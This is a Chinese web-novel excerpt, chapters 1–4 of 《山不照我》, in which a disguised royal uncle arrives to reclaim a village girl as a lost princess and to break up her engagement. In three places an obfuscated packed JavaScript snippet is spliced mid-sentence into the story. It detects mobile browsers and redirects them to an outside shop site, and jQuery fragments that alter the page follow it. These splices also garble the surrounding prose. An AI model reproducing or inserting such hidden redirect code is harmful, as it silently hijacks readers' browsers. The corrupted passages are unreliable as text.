《山不照我》 1. 第 1 章 上京城门,天子脚下。 两列骑着高头大马的英武青年簇拥着三辆马车出城,他们穿白衣戴黑巾,腰挎长剑,端得是衣冠楚楚、威武不凡。 更难得的是整队人马令行禁止,动作整齐到宛若一骑,让人看到的瞬间就浮现出一个词——纪律严明。 沿边摊贩素来眼尖又见多识广,远远看见这一行,不需旁人特地驱赶,纷纷自发收拾摊位给这一群人让路。 正在买干货的妇人一边避让,一边不满嘀咕:“官府之前不是张贴了不准达官贵人闹市纵马吗?怎得说话不算话……” 那卖干货的摊贩一眼便瞧出这一行的护卫是缇灵卫,那白袍上绣的七色灵鹿可明晃晃的,立刻寻了个话题打断妇人的嘀咕。 开玩笑,缇灵卫可是皇家卫队,皇城边上讨生活最要紧的事情就是管好眼睛、闭紧嘴巴…… “来,大娘搭把手,这一单我给你便宜五文!”妇人连忙欣喜答应,再也无心管这什么卫的事情了。 缇灵卫小队长陈於白跟城头的守门将沟通了几句,而后轻扯缰绳,马儿颇具灵性的哒哒慢跑向第二辆马车。 那木制马车看似寻常,但窗挂茜纱,车轮包铁,并不是平民百姓能用上的载具。外表简朴,不过是掩人耳目之举。 陈於白骑着马,比车窗高半个身子,但他不敢在承恩公面前托大,只能弓着腰垂首看向车窗,隐隐约约能透过纱窗看见一个模糊的人影。 即便无人看见,陈於白依旧保持着格外恭敬的神情,他很清楚承恩公并不是个好伺-候的主子。 “国公爷,上京距离炅阳约有半月行程,已使一轻骑先去通知当地县令,沿途休憩补给全部都打点好了。” 承恩公赵仪只轻嗯一声,淡淡回句知道了,目光始终凝聚在手中的玉佩上。 是一块羊脂白玉,但料子不算顶好,有几分杂质。雕有青山圆日,背面是刀刻的‘山照’两字。 不是上品,按理来说不该出现在他这样的贵人手上。可是,他垂眸紧盯着玉佩,指节分明的手指不断的摸索上面的花纹,反反复复、翻来覆去查看细节。 最终还是确认了这就是十六岁时他雕刻的,送给新生的小侄女的礼物。只可惜那孩子三岁不到就走失了…… 他倾尽全力寻找了十数年,却没想到再次得到消息会是她婚事将近。他攥紧玉佩,看向窗外,打定主意要棒打鸳鸯——他不能容忍姐姐遗留的唯一念想许配给一个籍籍无名的凡夫俗子…… 想到此处,他掀起窗纱,打量了一番陈於白,心中蓦然有了个想法。一个既不会吓到他的侄女,又能近距离观察她的法子…… “陈於白?”赵仪记忆力很好,他记得这个小队长,大理寺少卿的小儿子。 陈於白心脏重重跳了几下,有种不详的预感,但只能硬着头皮询问:“国公爷有何吩咐?” “去找一身你们的衣服给我,还有,从现在开始我是小队长了。” “啊?……”陈於白心想你是小队长那我是啥?但身体比脑子更快,忙不迭去办了。 ** 炅阳的秋天总是格外鲜明,盛夏时节还是满树绿油油的银杏比人们更早的裹上秋装。 高大树木径直挺立,似盛装的新娘,满头钗环随风摇摆、飘落,落地就变成数十数百金灿灿的小扇子。 这一幕对李家村的孩童们有着莫大的吸引力,他们三五成群的在树下玩耍奔跑、嘻嘻闹闹,偶尔跳跃着抓取还在飘落的树叶,偶尔比较谁捡拾的叶子最漂亮,山照就在一旁坐着,含笑看着孩子们玩耍。 今天轮到山照和李水来看孩子,由大孩子来管小孩子是李家村的惯例。 前些年各地战乱,满村青壮一半都去服劳役或被强征入伍了。 女人们带着孩子还得谋生,实在是左支右绌忙不过来,这才商议好让将长成的大孩子管着孩子们,其余人就可以安心劳作。然后发现效果极好,孩子们少了责骂,大人们也能安心做事,这传统便一直延续下来。 穷人家的孩子早当家,山照手边上有一篮子旧衣服,是爹娘弟弟穿破的衣服,她一面关注着孩子们的动态,一面要教李水怎么缝补衣物。 李水是三伯家的小妹,不过才九岁,但很听话懂事,三伯母跟山照家离得近,便拜托山照多照应她,最好是教她练练针线。 刚开始李水倒是认认真真学,但缝了半个时辰后看见大家都在玩耍便有些坐不住,眼巴巴的望着山照。 山照是做惯大姐的,知道孩子天性如此,也不拘着她,只柔声:“不要跑远了。” 阳光洒在她头顶发梢,照亮了她秀丽的面容,神色却温柔极了。 李水呆呆看着她,而后乖乖应声。只是跟其他孩子们玩闹了片刻,捧着一小把叶子又回来了,她回到小凳子上坐好,拿起针线鼓捣。 山照含笑看着,觉得她鼓捣东西的样子可爱极了。 “大姐,看我送你的钗!”李水人小鬼大的展示出方才的成果,一只由三片大小一致的银杏叶组成的叶钗,细看自有一番趣味。 本来李水只是调皮,但忽然想起什么:“说起来,力行哥是不是要上大姐家送聘礼了?” 她这个年纪已经知道嫁人是要到别人家里去了,也知道大姐快要嫁人的事情,看向山照的眼神不免就多了些不舍。 乡间农户不讲究什么三媒六聘,多的是父母彼此谈好,就直接通知女孩婚期的。李杨两家这样问过两个小儿女的意思才定亲的已经格外开明,早商量好了:十四定亲、十六出嫁。 被小妹妹问起婚事,山照不免有些羞涩,低声嗯了一声,心底不免也有些期待。 她从五六岁起就隐约知道她跟家里两个弟弟是不一样的,她不是爹娘亲生的孩子。但爹娘对她很好,弟弟们也很尊敬她这个姐姐,这便不是什么大事。 更何况,嫁给力行哥,作为养女的她就真真切切和娘是一家人了…… “力行哥!”正说着闲话呢,李水就是眼睛一亮,老远就看到从村尾走过来的年轻男子。 他生得高大,比寻常成年男子高一个头,因常年在外行走,皮肤被太阳晒成了古铜色,但他五官棱角分明,这样的肤色不仅不会让他看起来呆愣,而是更有一种猛兽般的雄壮气质。 他走近才对李水点点头,开口唤道:“表妹。”而后径直从衣兜里摸出被油纸包好的一包糕点递给山照。 山照这才仔细打量了他一眼,注意到他额角的汗水,她迟疑了一瞬,从袖中拿出自己的手绢递给他。 杨力行没有接,山照疑惑看向他。 男子只扯扯嘴角,余光在山照细长白皙的手指上扫过,又见那雪白无瑕的帕子,终是摇摇头,并未说是怕污了她的帕子。 “茯苓糕,快试试好不好吃。” 山照拆开油纸包,露出雪白的方正糕点,顺手拿出一块给眼巴巴望着自己的小妹妹,而后拿出一块递给杨力行,她弯着眉眼:“表哥自己吃吃不就知道了。” 杨力行便满足的笑,心里甜的连嘴里什么味儿都尝不太出来。他餍足的笑容让山照想起家里的大黄狗,它吃饱时也是这样笑眯眯的。 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16651772|188238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水不缺吃食,但是家里人很少给她吃甜的,怕坏了牙。因此格外珍惜的细细品尝,她嘴里有东西,说话便瓮声瓮气的:“好吃,谢谢力行哥。” 山照咬了一口,很绵密扎实的口感,微微甜味混杂着米香,是她爱吃的清淡口味。她忍不住露出笑,她知道这是杨力行专门给她买的,对他们这样的普通乡户来说,糕点并不是日常品,毕竟一斤糕点能买五斤米了。 杨力行两口就吃干净了,他这样的壮年男子仅一块糕点还不够塞牙缝的,不过他本来的目的也不是给自己吃…… 他专注的看着山照品尝糕点的模样,觉得格外满足。他知道这桩婚事自己因着是杨氏的侄子才占了便宜,并非他有多么优秀。 但他相信真心换真心,因此拼尽全力对山照好,用一颗赤诚真心相待。好在,苍天不负有心人,山照被打动了。 山照素着脸,身穿山青色的上襦、莺黄的下裙,发间一只鸟雀银钗,简单大方又清新雅致。杨力行不懂女子的装扮,但山照无论何时在他眼中都是好看的。 不过……他目光在那银钗上停顿片刻,这是他给的定亲礼,依旧好看,但光泽已经有些暗淡了。 山照注意到他的视线,摸了摸发间:“怎么,是钗子歪了?” 杨力行摇头,他看着山照,很真诚的夸赞:“今天很好看。” 山照已经习惯了他对自己的无底线夸赞,有时候就算什么也没做,他也会夸她美丽,因此很有些无奈的娇嗔他一眼。只那神态,分明是甜在心头。 “想快点到十月,给你买新的钗环。”十月,是他们的婚期。 李水听懂了就在一旁捂着嘴笑,山照恼羞成怒瞪她一眼。李水便止了声,只眼睛弯弯泄出笑意。 她其实一直有点害怕力行哥,他长得高大,又看起来有点凶,是小孩子最不亲近的那类型。 但是她见过力行哥在大姐面前的样子就瞬间不害怕了,他对大姐这么温柔。她喜欢大姐,也就接纳了大姐未来的夫君。 两人只简单交谈了两句便再没言语,杨力行很自觉的帮山照去看着孩子们,山照便安心的缝补起衣服,没有再额外分一点心神去树下,但从他们时不时互看的动作中还是能感受到那种不同于别人的默契感。 那些小鬼们还没羞耻感,见杨力行过来直接口无遮拦喊出:“山照姐夫。” 不是力行姐夫,而是山照姐的夫君,所以是山照姐夫。 杨力行板着脸,只唇角翘了翘:“不要乱喊,还…还不是呢。”但那股欢喜劲瞒不过古灵精怪的孩子们,叫得更欢了。 山照只低着头装作没有听见,叫这帮小鬼发觉她会害羞,就叫得更起劲了。 太阳愈发盛了,一看日头,已到中午。 山照早觉得疑惑,按理说该到吃饭的点了,今天却还没有人叫孩子们回家吃饭。她不禁有些担忧,毕竟小孩可是禁不住饿的。 没出她的意料,孩子们很快就因为饥饿闹起来。山照只得把茯苓糕都分了下去,总要先抵一抵。 随后,她看向杨力行:“不如表哥帮我去村里看看吧,问问叔伯们是不是因什么事情耽搁了?” 杨力行正想答应,却听到了村子的方向传来一些有点不寻常的声音,马蹄哒哒、人步顿顿,好像商队过路的动静…… 可李家村从不会有商队路过,他警觉的上前一步护住山照,山照顺从的抓住他的衣袖,侧头看向远处。 孩子们察觉到气氛不同,也跟小兽一般围拢在一处。 树影婆娑,风声萧萧,车马声一点一点更近了…… 2. 第 2 章 路的尽头。 赵仪化名赵元坤骑马径直走在最前,因带着马车,整队行进的速度不快,气氛便多了几分庄重肃穆。 他身后悠悠跟着一名青年,正是陈於白。他懒洋洋打了个哈欠,眼下有着两圈青黑。 陈於白想起这段时间赶路的酸爽经历就忍不住心里腹诽:不知道承恩公怎么想的,他们一队人马日夜兼程好不容易才快到地方,他提议住个客栈梳洗妆扮一番再去接公主,结果还是被拉着五更天就起来赶路。 不过再是不满,他也不敢表现出来,只能捏着鼻子兢兢业业干活。 任他是勋贵子弟,也不敢跟皇亲国戚比分量。何况大公主这事他细细琢磨了下,总觉得有些古怪。 陛下微末之时的妻子便是承恩公的姐姐德贞皇后,但在陛下尚未发际时,这位皇后便已去世了,朝中几乎无人知晓这位陛下原配的事迹。 唯一知晓的事情,是德贞皇后的亲弟承恩公简在帝心、盛宠不衰。 如今,他们来寻的这位大公主就是德贞皇后唯一的孩子。 回想起朝中上下为立太子的几番暗流涌动,很难说承恩公在这里面是不是有暗中下注,但无论如何,大公主回宫这件事情他不能有失。 陈於白暗暗告诫自己,务必谨言慎行、不要牵扯进这摊浑水,别一招不慎搞得全家流放。 想到这样的后果,他浑身打了个冷颤,神色多了几分认真。 远远的,缇灵卫众人便看见树林前有一群人,陈於白猜测应该到了地方,连忙打了个手势叫停众人,车马瞬间停下,一时间静默无声。 陈於白轻扯缰绳,马儿乖顺的跑上前,他垂着头询问:“国公爷,咱们就这么直接过去吗?” 他暗地寻思:这么人高马大的一伙男子,大公主一准以为是来强抢民女的。 他家里的妹妹各个都是小猫胆子,想公主也是这般,但主意是承恩公出的,他却没有胆子公然反对。 赵仪一个眼刀过去:“注意称呼。” 陈於白眨巴眨巴眼:“好的,赵队长。” 赵仪也知不够妥帖,但思来想去,这事速战速决为妙。他假扮成缇灵卫小队长,就是考虑到有些事情作为长辈他是不好开口的。 但这对鸳鸯,他非要搅散不可,便是多花一些心思,都值得。 恶名就让缇灵卫来担担。等日后,山照懂事些,就算知晓真相也会感谢他的。 万事都预想过了,但赵仪却迟迟没有动作,他有些近乡情怯,一时不敢上前。 陈於白、其余众人,没得到指示便都静静停在原地,不敢催促。 赵仪暗自消化内心的情绪,即便已经有九成九的概率此山照就是彼山照,可他未曾亲眼见过,害怕是一场镜花水月。 他至今能够清晰的回忆起,还未发迹的昭明帝用轻描淡写的态度告诉他山照丢了,找不回来了。 或许也并没有那么平淡,但也远远没有悲痛万分。 彼时昭明帝正值壮年,还能有很多孩子,可是姐姐难产早逝,山照是唯一的血脉。 那年姐姐出殡,他在姐姐的坟茔前发誓:“活要见人,死要见尸。今生不寻到山照音讯,仪不谈娶妻生子。” 而今,他三十有二,家中确实无姬妾无子女,如今寻回山照,也算他对得起姐姐了。 过往种种闪现,扰乱他心绪。赵仪深吸一口气,克制着情绪道:“走吧。”执着缰绳的手却有些颤-抖。 车马、人群的距离越来越近。一方华车豪卫、声势浩荡,一方布衣垂髫、甚是伶仃,两幅不该出现在一个层次的画面强融进一个世界,人心、纷乱! 山照一手牵着李水,一手紧紧抓住杨力行的衣袖,孩子们一连串拥在她身后。 她不知道这忽然出现的一群人是什么来路,但她知道若是他们有坏心,她们一群妇孺孩童丝毫没有反抗的余地。 如今看仔细了,这一行人衣着整洁、行止有度,不是什么山贼匪头装得出的架势。 这反倒让她悄悄松了口气,如此一伙人想必看不上乡野愚子,只要他们不是奔着孩子们来的,倒也没那么可怕,只是这架势唬人,又来历不明,终究让人担忧。 她眼都不眨的看着这队车马在面前停下,打头的是位年长些的英武公子,面容白皙俊秀,绣着灵鹿的白袍尺寸正正合适,黑色的皮质腰带勾勒出劲瘦的弧度。 他长臂一挥,众人纷纷下马,一举一动都是数不清的意气风发。 山照扫视了一圈,略数了二三十人都是一模一样的打扮,见领头那人走近,紧张到屏住呼吸,抓着杨力行衣袖的手紧了紧。 杨力行表情严肃,但他还是注意到了山照的紧张不安,他默默用手拍了拍山照的手背。 山照感受到触碰,知道是力行哥有意安抚,虽还是担忧,但心确实定了定。 赵仪一打眼便看见了山照,看见她与姐姐有八分相似的面容,有些恍然,又快速释然,心中大石落下,脑海中只回荡着三个字:找到了。 他的身体绷紧,克制住想做些什么的冲动,他想要一个拥抱、一声呼唤,想发泄出十多年的郁闷难解,但此时此刻他什么都不能做。 杨力行见他迟迟没有下一步的动作,警惕问道:“你们是谁?” 赵仪抬眼扫了他一下,视线又落点回山照身上,虽知现在自己正在扮演其他角色但依旧忍不住露出些笑意。 杨力行被这人直接忽略,心里有些不舒服。 “臣缇灵卫赵元坤,见过大公主。”赵仪撩起袍角,心甘情愿对着山照双膝跪地,伏地大拜。 山照一惊,缇灵卫全体动作更快,身体反射性的跟着承恩公行跪礼。 几十人齐刷刷双膝跪地,手贴额上俯身贴地一拜:“臣缇灵卫某某,拜见大公主,公主金安。” 众人朝拜,山呼公主。 几十个英武青年,跪一个平平无奇的农女,这等场景,山照在梦中都不敢设想,她满脑子都是疑惑:“你们……是谁?为什么?” 为什么要跪拜她?为什么要叫她公主? 她看向身旁的未婚夫,他的身形依旧高大可靠,可跟前方几十护卫比起来,便不算什么了。可让她感到安心的,也只有他,一如幼时那般。 杨力行心里紧张,面上却没有表露出惊慌,若是他都害怕又叫这些孩子们如何安定呢? 他看懂了这一行人是奔着山照来的。可山照一介孤女,有什么值得他们惦记的? 他低头,跟山照对视上,两人的手不知怎么的就拢到了一起,一寸近一寸紧,十指相扣。在这等茫然无措中,两人都需要一点熟悉的气息安慰自己。 “别怕,我在。”杨力行警惕的看向众人,眼神锐利,身体悄悄绷紧。 赵仪知道山照不懂行礼的规矩,没等她唤起,就自顾自地站起来整理衣袍,却不料看见了两人相扣的双手。 他手心捏紧,指尖扣疼了掌心。就算这小子样貌还行,也不像怯弱之辈,他也绝对不会认可这门亲事的。 孩子们很是单纯,本来还像小兽一般紧缩一团,见来人没有不好的举止,又不知原因的开始跪拜,纷纷好奇探头。 赵仪没想隐瞒此行的目的,或者说此番他请圣旨出京,就是为了沿途大肆宣扬民间公主回宫的事迹。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16651773|188238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>山照没有自幼长在昭明帝身旁的情分,姐姐虽封了皇后,但一个死去十多年的皇后能有什么分量。 赵仪深知宫墙之内诸事不易,一点民声一些民心,就会让她的日子好过些。 于是没有刻意避让这个话题,直接了当的告诉山照,他们一行此番来李家村,就是为了她。 “为了我?可我……我不是什么公主啊?”山照感觉他说的话太荒诞了,世上怎会真的有流落民间的公主?那不都是话本子的剧情吗…… 可她有眼睛,她能看到这些人的衣料昂贵,她能看到领头这人的双手干净无茧,她能看出这些马匹的精壮昂贵。 这些都告诉山照一件事,他们很有钱,或许还很有势力,他们没有理由骗她。 “你们,是认错人了吧?”山照自觉自己没有什么价值,她依旧怀疑。 赵仪从怀里摸出那块刻着山照名字的玉佩,递给她,解释道:“殿下的母亲是已故的德贞皇后。这玉佩便是信物。” 李山照接过一看,玉佩上确实刻着山照二字,但这似乎并不能说明她的来历,这世上重名的人何其多,难道除她之外无人叫山照了吗? 她将自己的疑惑说出口,赵仪笑着摇头:“殿下,不如先到马车上。臣之后会将来龙去脉都解释清楚的。” 山照是愿意听他讲一讲的,可是,她看向好奇凑头过来的孩子们,犹豫道:“孩子们还没回家……” 赵仪立刻反应过来:“臣等马上都可以带一孩子,殿下正好可以坐马车回家,届时可以坐下慢慢聊。” 山照听他说可以送孩子们回家,不安慢慢散了些。至少他这番做派表明他不是坏人。 她看向表哥,杨力行忌惮的看向这些侍卫,只能点头:“便就这样吧。” 山照虽然同意,但依旧有些戒备,想拉着杨力行上车,却被赵仪制止了。 赵仪早有心理准备,山照不会那么轻易接受这个事实,他并不把这点小小戒备放在心上。 他坚信山照用不了多长时间就会接受,毕竟当村妇还是当公主,这是个不需要认真思考就能做出的选择题。 但这不包括,眼瞧着山照跟那个村夫堂而皇之在他面前亲密。 赵仪脸色不太好看,很想自己上手将两人交握的双手掰开,但最终也只能带上些微劝诫:“男女授受不亲啊,殿下!” 山照本想叫他名字,但回忆了一瞬,发现她遗忘了这人的名字,只隐约记得姓赵。 “赵公子,这不是别人,是我的未婚夫。”山照觉得这人是不知道表哥和她的关系才出言阻止的,未必是有坏心,此刻语气还很温和。 “殿下,唤臣公子实在是折煞了。臣是这支卫队的小队长。”赵仪见山照对这什么‘未婚夫’很是偏心,不想给山照留下坏印象,态度软了些:“殿下,车里有婢女,实在不方便跟男客同坐一车。” “况且,这后面还有一辆马车,臣会安置好杨公子的。”赵仪虽是皇亲,却也是乡野发家,低头也做得自然顺畅。 跪坐在车厢门口的婢女听见赵仪此话,连忙将车帘拉开一角,露出杏色裙摆表明身份。 山照听见声音回头一看,见车厢里果然有个女孩,便不便开口说让表哥进来的话了。转过头去安抚杨力行:“表哥,那我们就分开坐吧。” 杨力行自然不会闹着非要一起,只看着赵仪的目光猜忌多了几分。 分开之时,山照面上正经,暗地里却用食指抠了抠杨力行的手心:“别担心,有事我会叫你的。” 杨力行感受着手心痒酥酥的感受,耳根悄悄红了,只能愣愣应声,一时间倒是风平浪静起来。 3. 第 3 章 杨力行没有听赵仪的话去第二辆马车,而是就在山照的车厢前跟车夫挤在了一起。 赵仪一直关注着山照,自然注意到了两人的互动,看的牙根都酸倒了,暗地腹诽杨力行像块狗皮膏药。 安排好孩子们之后,赵仪想进山照的马车先跟她单独聊聊,却吃了一个软钉子。 山照只是拉开窗帘,冷淡回答:“赵队长,到家之后再聊吧。毕竟男女授受不亲。” 得了,还是把大侄女得罪了。 赵仪悻悻走开。 山照刚开始是没感觉到什么,但坐在车上回想了一些细节便发现了这个什么队长对表哥似乎有敌意,她心里肯定是偏向杨力行的,也就对赵队长没什么好脸色。 侍女听见山照直截了当的拒绝承恩公,双眼微微睁大,从窗帘缝隙中暗自觑着承恩公的脸色,而后发现,赵仪并无怒色,还很好脾气的道歉,内心大为震惊。 “是臣唐突了,马车内有点心茶饮,殿下只需休息片刻就到家了。”末了,扫了眼侍女,便骑马走了。 侍女灵曲看懂了承恩公的暗示,立马低眉顺眼的给山照倒茶。事实上,作为宫女,她不需提醒也知道如何侍奉公主。 马车启动,虽有颠簸,但比驴车好多了。山照好奇的打量马车内部,这是她第一次坐马车。 灵曲拿出早备好的食盒,一一打开替山照介绍起来:“这是桂花糯米糕,清甜可口、能补脾胃。这是水晶梨糕,能润肺凉心、生津润燥。这是……” 山照的注意力瞬间被这些精巧的糕点吸引,她邀请侍女一起来品尝。 “你叫什么名字?坐下我们一起吃吧!” 山照见这侍女虽装扮得体却十分脸嫩,看起来比自己还小两岁,便有些怜爱。 灵曲自然是不敢的,连忙婉拒了:“殿下,奴婢叫灵曲。贵贱有别,奴婢不能跟主子同食。” 但也怕扫兴,又提议:“若是殿下吃着什么茶点好,倒是可以赏一两块让奴婢甜甜嘴。” 山照连连邀请了几次,灵曲都不敢应。山照也不继续强求,到底有些饿了,便挑了两块吃。 灵曲也不知从哪弄来的热水,愣是在车上泡出一壶茶,山照便端着茶水,用着点心,颇为自在的跟灵曲闲聊起来。 时间很快过去,两块糕点还未吃完,李家已经到了。 山照通过闲聊知道灵曲不便下车,就悄悄招呼灵曲:“你饿了就吃点,就说是我吃的。” 灵曲含笑应是,却未有动作。 山照掀开车帘,看见有一群人将自己家围了几个大圈,人影憧憧,面孔却无什么熟悉的。 更有十数人,穿着黑底红边形制的衣服,看起来是衙役。 山照注意到家里门口停着的一顶绿顶小轿,她虽为农女,但也去过县城,知道只有那些有功名和有官职的人才能坐这样颜色的轿子。 杨力行扶着山照下车,她一现身,护卫们、衙役们便侧头看过来。 小轿里显然坐着人,听见外面的动静立刻也有了反应。轿子里伸出一只苍老枯瘦的手,衙役连忙去搀扶,口称:“老大人小心。” 从轿子中-出来个头发花白的老年男子。他穿着浅青色官袍,脚蹬黑色布靴,在下仆搀扶中,颤颤巍巍地对着山照行了跪拜之礼,随行的衙役护卫们纷纷跟着老县令拜下来。 “臣炅阳县令何谷,拜见殿下。”很庄重地一跪一拜,同之前在林子里的感受却不同,给她的震撼更强、更重。 往日里,这县太爷就是炅阳的天,而如今,这天却垂首拜了她。给她带来的震撼,不亚于天崩地陷、河水倒流。 山照反射性的看向家中,爹娘应该在屋里听见声儿了,却不知如何并未出来。 她慌乱中想:难道这事是真的?县太爷总不会乱拜人…… 安稳长大、嫁人生子、安度余生,她预想的人生便就是这样,平淡幸福。 可老县令这深深一拜,让山照意识到她的人生或许要发生翻天覆地的变化了…… 何谷没得到贵人开口也不敢自己起来。人到七十古来稀,似他这般平安做官做到六十八岁的也是凤毛麟角。 他本想凑个整,到七十岁再向上级请辞,但谁能知道李王朝的大公主竟然会在他的治下被找到呢?他心中只能祈祷这位生在乡野的大公主过去的人生一直平平安安,并未对这里的父母官产生怨恨,不然他恐怕是晚节不保。 山照楞了会神,回过神来却见那老县令还跪着,连忙搀扶他起来,口里学着仆人称呼他:“老…老大人快起来!” “当不起殿下这一声老大人。”话虽如此,何谷还是在山照的搀扶下起身来,但不敢叫山照使劲,是自己绷紧身子硬站起来的。 “臣知公主此刻有诸多疑惑,还请公主移步。您的养父母,如今已获知全情。”他心知自己不过配角,不敢耽误正事。 赵仪在炅阳县城的时候就决定好兵分两路,他去接公主,另一队由县令带队去跟公主养父母说清楚。 比起他们这些陌生人,公主自然更相信自己朝夕相处的养父母,况且一些事情的细节也需要核对一番。 “我真的是公主吗?”山照站在家门前喃喃自语,思绪混乱如乱麻,没有精力再去注意身后发生的事情。 杨力行被缇灵卫引到别处,赵仪看山照不在便脱去那副温和面孔,语含威胁:“殿下要单独跟养父母说话,你要是非要捣乱,我也不是吃素的。” 杨力行环顾四周,见周围都是他的人,只好咬牙忍了。 ** 穿过院子,径直走向堂屋,一进门,中堂坐着的两人就回头望来。 李家夫妇看见大女儿进来,脸上就露了笑容。 山照先叫了一声爹娘,李家夫妇齐齐应声,而后你看我我看你,却是不知道应该说些什么,气氛陡然尴尬起来。 “玉佩是怎么回事?”山照开门见山。 李家夫妇对视一眼,对这个话题有些逃避。山照等急了,便催促李父,见李父还是扭扭捏捏的,忍不住大喊了句:“爹!你来说!” 李父吓得一抖:“哎呀女孩家家的不好这么大声说话的,我说我说。” 他长叹一口气,瘦削的脸上神情莫测。 “这要从捡到你那会说起,那天我跟你娘听到有小孩子在哭,左等右等也没人来。你奶说救人一命是大功德,而且你的衣服夹层里面有五两碎银,我们便用这钱来养你了。” “那玉佩就在你脖子上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16651774|188238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挂着,我们一看这东西好像很值钱,便给你放起来了。我跟你娘寻思,你指定出身挺好,说不定是有什么难处呢。刚开始是指望你的亲人来把你接走的,可是这么十来年了你都要出嫁了也没人来。” “你娘就寻思把玉佩卖了给你置些嫁妆……哎,谁知道,这下让人找来了。”李父的表情有点不好看,毕竟是他们私卖山照的玉佩,才导致山照被赵仪找到。 赵氏则在一旁抹眼泪,很是后悔:“我早知道就不把玉佩拿去卖了。山照是不是要离开我们了?” 李父只沉默着喝茶:“这也是好事,是好事。” 李父不能想象皇帝是何等的富贵,他们一辈子可能见过的最大的官也就是县令。可县令在皇帝面前就是个芝麻小官,他已经知道这个女儿留不住了。 山照坐在一旁,许久也没说出句话来。她没想过这事居然是真的,那玉佩居然真是她的。 既有人证又有物证,这认错人的几率就很微茫了。她……或许真是皇帝的孩子。 山照默默看着爹娘,杨氏还在自顾自的叹气:“山照啊,你这一走,力行怎么办啊?哎,早知道就不给你们定亲了,现在这弄得是什么事情!” 李父愁眉苦脸的喝茶,不发一言。 没一个人说要留她,但山照知道他们的心里也难受极了。 山照的脑子很乱,但她知道,她不想离开家。 “娘,我不想走。” 是,那些说她回去是做公主的,能过人上人的日子。 但她不能百分百相信他们说的话,谁知道当时她被遗弃是为了什么?谁又知道他们这会找自己回去又是要做什么? 她没有那么天真的以为真的是接她回去享福,若她真的那么重要,早十年前这些人干什么去了? 还不如就在李家村,有慈爱的父母、有听话的弟弟、有青梅竹马的未婚夫,她可能没那么富贵但不会有不开心,一切都是她最熟悉的样子。 杨氏听了这话满脸惊讶:“山照,你是公主啊,你怎么能不走呢?” “娘,我没在皇帝跟前长过一天,我为什么要走?”山照理直气壮。 杨氏颇为忐忑的说:“可,屋外那些人就是来接你的,我看这事我们是拒绝不了……” 李父本在一旁默默听着,不知想到哪一茬,忽然重重放下杯子:“不行,山照你还是得走!” 山照看向爹:“为什么?” 李父苦涩一笑:“山照啊,我知道你是个好孩子,但你是旁人的亲生骨肉,我们虽然养你一场,但也不能阻拦天伦之情。” “更何况,你是公主啊。”李父避开山照的眼睛,他也有私心:“县太爷都来了,你得走啊,不然我们家哪里有好日子过……” 李父心里也痛,山照虽然不是他的亲生女儿,但长在他眼前十三年,从玉雪可爱长到亭亭玉立,他又怎么能轻易释怀。 可民不与官斗,他还有亲生的孩子呀,山南山北可都还小呢。 李父虽有不舍,却只能暗叹:养女三千天,余留一场空…… 山照鼓起勇气才说了一句拒绝,没想到李父泼来大大一盆冷水,她轻哼一声,满脸不高兴。 “爹娘就这么放弃了?!” 4. 第 4 章 虽是不满,但山照心里也是知道,爹娘没办法留她,他们没有选择的权力。 那黑压压一群人,对她是又跪又拜,可是谁知道她要是说自己不走会做什么事情呢?炅阳这里的老财主都敢对佃户非打即骂,打死人也不是没有的事情。 在官府面前,他们跟佃户又有什么区别…… 山照的心像淹没在水底,闷闷的说不出来话,她用祈求的目光看着爹娘,希望他们还能再说些什么,哪怕是没用的安慰。 但他们已经做好决定,纷纷垂头躲避了她的目光,她受不了这粘稠的沉默,强忍泪意,推开门出去。 看到院里熟悉的一切,十多年的记忆涌上,山照意识到自己也许再也回不到这个地方。她忍不住恶意猜测,若是发生这种事情的是弟弟们,爹娘还会这么容易放弃吗? 她知道她跟弟弟们是有区别的,爹娘爱她,却从来没把她当作依靠,如今她要走了,爹娘跟弟弟们却还是圆满的一家人。 她越想心头越酸,忍不住趴伏在墙角痛痛快快哭了一场,喉间忍不住泄出些呜咽声。 屋内传来一些响动,却始终无人出来安慰她。 沉默,亦是答案,这让山照更觉得难过。 待到哭过一场,情绪平复了些,山照抬起头自己用袖口擦掉了眼泪。 这才发现院里有个男子一直看着自己——是赵队长。 山照觉得有点尴尬,毕竟是在陌生男子面前如此失态,她深深吸了几口气,才慢慢停止了抽噎。 赵仪早在外面听见山照的声音了,连忙进来却见她正在痛哭,用那张和姐姐极其相似的脸哭,一时间不知道该做些什么。 赵仪印象中没有见过姐姐哭,姐姐总是笑着的。 但这不妨碍,他看着山照哭,又想起来姐姐,心里也酸涩起来。 朝堂上天不怕地不怕的承恩公,此刻竟也畏惧不前,山照的痛苦他看在眼中,却没有立场去安慰她。 他一定要带走她,这没得商量,那就长痛不如短痛吧。 